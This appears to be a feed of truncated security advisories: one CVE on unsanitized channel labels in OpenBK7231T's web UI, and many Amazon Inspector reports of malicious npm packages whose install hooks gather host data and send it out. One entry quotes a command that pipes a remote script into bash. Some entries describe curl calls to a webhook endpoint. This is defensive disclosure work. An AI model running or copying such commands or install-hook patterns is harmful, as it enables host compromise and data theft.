CVE-2026-71274

OpenBK7231T's CHANNELSetLabel src/cmnds/cmdchannels.c stores channel labels received via the MQTT SetChannelLabel command using strdup with no HTML sanitization. CHANNELGetLabel returns these labels unsanitized, and they are rendered via hprintf255 at 15+ locations in src/httpserver/httpfns.c wit...

Malicious code in @cy4dev/cydemo-bg-color (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0 @cy4dev/[email protected] ships a postinstall lifecycle script src/postinstall.js that runs at npm install time and invokes node:childprocess.exe...

Malicious code in voicemail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 568a31285f414d8125b5749bc8e070157ffd403ce46e46da637cc1452f99d19f package.json declares both preinstall and postinstall lifecycle scripts that invoke curl against a hardcoded webhook.site endpoint...

MAL-2026-12358 Malicious code in croft-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a1686ccd2fe10f98a3bf6144a0ad556b15b0f788e2395fe4808d708446ba722 package.json declares scripts.postinstall = 'node dist/config.js'. On npm install, dist/config.js performs an outbound fetch to...

Malicious code in jquery.ui.core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0fe5bc94d3ac40b31064d4dad8125dc959fdc3559785cdbeb03de2cc16c147ac Package is a dependency-confusion squat on the jquery.ui.core name published at version 9999.0.0. The main entry index.js is empty module.exports = ;...

Malicious code in ach-detail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c8ce91cbe1aaa587613795b1b82cc84384b499a29af4a18c0a820b77ea1d834 The npm package [email protected] ships a preinstall lifecycle script scripts/preinstall.js that runs automatically on npm install. The script collec...

MAL-2026-12378 Malicious code in express-rate-controller (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43c2ed4e91378e1ca9df444de58c0ff3afebce39741ab67011b55490740cac11 The package is published under the name express-rate-controller but describes itself as an SVG utilities library and ships a bin named svgcraft — the...

Malicious code in rollup-plugins-check (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f2c7fe6586c3734730d6f8cd5ffe893c3f7cc5ff82710d1f4df22b8e76987e8 The npm package [email protected] declares a postinstall script node dist/module.js that, on npm install, performs an HTTPS GET to...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

Malicious code in tool-registry-scripts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b635b8b6d257c079a0d0a9c06e37910b67f2e75d1e71dced264043624951ce06 package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identifiers os.hostname, os.userInfo, homedir, DNS...

Malicious code in @shiftmarkets/shift-sdk-v4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1bff275a2558640accb1a6956b933b71930ece1240bd8c5a0c2e00f74fc2fa82 The package declares a postinstall script node dist/recon.js that runs automatically on npm install. The script collects installer-side reconnaissanc...

Malicious code in pp-react-worldready-v5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 435cbd5d4dffc9d7e61222051c82a376bf6dd5a484760803953484ea0fa21b39 The tarball contains only package.json and vishu.js; the declared main index.js is absent, so the package has no library functionality...

Malicious code in electrode-ota-ui-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b9fb0d73b7d26454a227e93754f11ff2405424b1279490863055e8d8c8c6498 Package targets the electrode-io internal name electrode-ota-ui-app with an inflated 99.0.1 version to win dependency resolution against a private...

Malicious code in matlab-azure-devops-extension (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ecc42778bb54bfdea5784d5dcb68cf43c89def3dbaeddba1d1a6bd2850cb174b The package's preinstall script node index.js auto-executes on npm install and collects host identifiers os.hostname, os.userInfo.username, home...

Malicious code in @cryptosrvc/no-brainer-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7955af180bb00f4f97b5dee0c7020f9e43f4c35aa84c5ef5446dd95646eb333b On npm install, the package's postinstall script dist/recon.js collects installer-side host reconnaissance — hostname, username, SUDOUSER, home...

Malicious code in remote_session_elements (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3a2127d34a7d033e96e00a679891716647f0a00f7590ad738b43d985e83dda69 Package version 9999.0.0 is published with placeholder metadata "Shared utility helpers.", no author — the canonical shape of a dependency-confusion...

MAL-2026-12386 Malicious code in fundraiserservpp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bca913238607a18079a675e2fe652c25c04c2bbc62f5c577bb2b6d2424cd4a8 [email protected] runs node index.js as a preinstall lifecycle script on npm install. The script collects host metadata from the installer machi...

Malicious code in fundraiserservpp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bca913238607a18079a675e2fe652c25c04c2bbc62f5c577bb2b6d2424cd4a8 [email protected] runs node index.js as a preinstall lifecycle script on npm install. The script collects host metadata from the installer machi...

Malicious code in shift-sdk-v5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2aca555e012d36b30d9ffe3d0f8acdca7ba67298a87ea02ea9d32731e8f2a748 [email protected] registers a postinstall script that runs dist/recon.js on npm install. The script collects hostname, username, SUDOUSER, home...

Malicious code in react-native-ui-message (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 615dd38493e2ff2257cfe5fe94b089a9001329b0d68c6b48f7ac491e4fcb205f [email protected] declares a postinstall hook that runs src/utilities/SubscriptionGuard.js. On install the script enumerates non-internal...